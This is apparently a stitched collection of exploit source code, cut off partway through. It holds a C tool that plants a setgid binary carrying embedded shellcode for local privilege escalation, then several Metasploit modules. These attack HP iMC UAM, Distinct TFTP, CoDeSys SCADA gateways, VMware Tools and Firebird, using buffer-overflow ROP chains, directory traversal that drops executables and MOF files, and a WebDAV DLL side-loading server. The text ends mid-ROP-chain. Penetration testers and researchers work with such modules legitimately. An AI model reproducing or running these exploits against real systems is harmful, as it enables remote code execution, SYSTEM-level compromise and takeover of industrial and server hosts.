* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Intelligent Management Center UAM Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow in HP Intelligent Management Center
UAM. The vulnerability exists in the uam.exe component, when using sprint in a
insecure way for logging purposes. The vulnerability can be triggered by sending a
malformed packet to the 1811/UDP port. The module has been successfully tested on
HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
},
'License' => MSF_LICENSE,
'Author' =>
[
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2012-3274'],
['OSVDB', '85060'],
['BID', '55271'],
['ZDI', '12-171'],
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03589863']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
'Space' => 3925,
'DisableNops' => true
},
'Platform' => ['win'],
'Targets' =>
[
[ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2',
{
'Offset' => 4035,
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012',
'DefaultTarget' => 0))
register_options([Opt::RPORT(1811)], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def send_echo_reply(operator)
packet = [0xF7103D21].pack("N") # command id
packet << rand_text(18)
packet << [0x102].pack("n") # watchdog command type => echo reply
packet << "AAAA" # ip (static to make offset until EIP static)
packet << "AA" # port (static to make offset until EIP static)
packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total
connect_udp
udp_sock.put(packet)
disconnect_udp
end
def exploit
# ROP chain generated with mona.py - See corelan.be
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
bof = rand_text(14)
bof << rop_gadgets
bof << payload.encoded
bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length)
bof << [0x77bb0c86].pack("V") # EIP => XCHG EAX,ESI # RETN # from msvcrt.dll
bof << [0x77bcc397].pack("V") # ADD EAX,2C # POP EBP # RETN # from msvcrt.dll
bof << [junk].pack("V") # EBP
bof << [0x77bcba5e].pack("V") # XCHG EAX,ESP # RETN # from msvcrt.dll
print_status("Trying target #{target.name}...")
send_echo_reply(rand_text(20)) # something like... get up! ?
send_echo_reply(bof) # exploit
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::TFTP
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})
super(update_info(info,
'Name' => "Distinct TFTP 3.10 Writable Directory Traversal Execution",
'Description' => %q{
This module exploits a vulnerability found in Distinct TFTP server. The
software contains a directory traversal vulnerability that allows a remote
attacker to write arbitrary file to the file system, which results in
code execution under the context of 'SYSTEM'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be', #Initial discovery, PoC (Tom Gregory)
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '80984'],
['EDB', '18718'],
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
['CVE', '2012-6664']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
[
['Distinct TFTP 3.10 on Windows', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 8 2012",
'DefaultTarget' => 0))
register_options([
OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
], self.class)
end
def upload(filename, data)
tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => "0.0.0.0",
"LocalPort" => 1025 + rand(0xffff-1025),
"PeerHost" => datastore['RHOST'],
"PeerPort" => datastore['RPORT'],
"LocalFile" => "DATA:#{data}",
"RemoteFile" => filename,
"Mode" => "octet",
"Context" => {'Msf' => self.framework, "MsfExploit" => self },
"Action" => :upload
)
ret = tftp_client.send_write_request { |msg| print_status(msg) }
while not tftp_client.complete
select(nil, nil, nil, 1)
tftp_client.stop
end
end
def exploit
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)
# Configure how deep we want to traverse
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "../" * depth
# Upload the malicious executable to C:\Windows\System32\
print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
# Let the TFTP server idle a bit before sending another file
select(nil, nil, nil, 1)
# Upload the mof file
print_status("#{peer} - Uploading .mof...")
upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# http://metasploit.com
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability that allows arbitrary
file creation, which can be used to execute a mof file in order to gain remote
execution within the SCADA system.
},
'Author' =>
[
'Enrique Sanchez <esanchez[at]accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['CVE', '2012-4705'],
['OSVDB', '90368'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1211),
], self.class)
end
##
# upload_file(remote_filepath, remote_filename, local_filedata)
#
# remote_filepath: Remote filepath where the file will be uploaded
# remote_filename: Remote name of the file to be executed ie. boot.ini
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")
end
def exploit
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
# We create an exe payload, we have to get remote execution in 2 steps
exe = generate_payload_exe
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
upload_file("windows\\system32\\", exe_name, exe)
# We create the mof file and upload (second step)
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
mof = generate_mof(mof_name, exe_name)
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
print_status("Everything is ready, waiting for a session ... ")
handler
#Taken from the spooler exploit writen byt jduck and HDMoore
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
end
end
end
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
'Description' => %q{
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
a component of VMware Tools. This issue can be exploited by luring a victim into
opening a document from the attacker's share. An attacker can exploit this issue to
execute arbitrary code with the privileges of the target user. This can potentially
result in the attacker taking complete control of the affected system. If the WebDAV
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-5330'],
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', {'Arch' => ARCH_X64,} ],
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 5 2016',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
], self.class)
# no SSL
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /vmhgfs\.dll$/i)
print_status("GET => DLL Payload (#{request.uri})")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if (request.uri =~ /\.docx$/i)
print_status("GET => DOCX (#{request.uri})")
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
return
end
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
print_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
print_status("GET => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
print_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
def exploit
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
super
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize
super(
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Firebird SQL Server. A specially
crafted packet can be sent which will overwrite a pointer allowing the attacker to
control where data is read from. Shortly, following the controlled read, the
pointer is called resulting in code execution.
The vulnerability exists with a group number extracted from the CNCT information,
which is sent by the client, and whose size is not properly checked.
This module uses an existing call to memcpy, just prior to the vulnerable code,
which allows a small amount of data to be written to the stack. A two-phases
stackpivot allows to execute the ROP chain which ultimately is used to execute
VirtualAlloc and bypass DEP.
},
'Author' => 'Spencer McIntyre',
'Arch' => ARCH_X86,
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2013-2492' ],
[ 'OSVDB', '91044' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Payload' =>
{
# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
'Space' => 400,
'BadChars' => "\x00\x0a\x0d"
},
'Targets' =>
[
# pivots are pointers to stack pivots of size 0x28
[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
[ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],
[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Jan 31 2013'
)
register_options([Opt::RPORT(3050)], self.class)
end
def check
begin
connect
rescue
vprint_error("Unable to get a connection")
return Exploit::CheckCode::Unknown
end
filename = "C:\\#{rand_text_alpha(12)}.fdb"
username = rand_text_alpha(7)
check_data = ""
check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
check_data << "\x00\x00\x00\x13"
check_data << filename
check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
check_data << "\x00\x00\x00\x08"
sock.put(check_data)
data = sock.recv(16)
disconnect
opcode = data.unpack("N*")[0]
if opcode == 3 # Accept
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def stack_pivot_rop_chain
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059ffeb, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.5.1.26351'
rop_chain = [
0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]
0x0059650b, # POP EBP # RETN [fbserver.exe]
0x0000153c, # 0x0000153c-> ebp
0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]
0x4a86ee77, # POP ECX # RETN [icuuc30.dll]
0x000001c0, # 0x000001c0-> ecx
0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]
0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]
].pack("V*")
when 'Windows FB 2.1.4.18393'
rop_chain = [
0x0042264c, # MOV EAX,EDI # RETN [fbserver.exe]
0x4a8026e1, # POP ECX # RETN [icuuc30.dll]
0x000001c0, # 0x000001c0-> ecx
0x004c5499, # ADD EAX,ECX # RETN [fbserver.exe]
0x4a847664, # XCHG EAX,ESP # RETN [icuuc30.dll]
].pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
end
return rop_chain
end
def final_rop_chain
# all rop chains in here created with mona.py, thanks corelan!
case target.name
when 'Windows FB 2.5.2.26539'
rop_chain = [
0x4a831344, # POP ECX # RETN [icuuc30.dll]
0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x00431905, # POP EBP # RETN [fbserver.exe]
0x00401932, # & push esp # ret [fbserver.exe]
0x4a844ac0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x005dae9e, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x0057a822, # POP EDI # RETN [fbserver.exe]
0x005b0384, # RETN (ROP NOP) [fbserver.exe]
0x0046f8c3, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x00586002, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
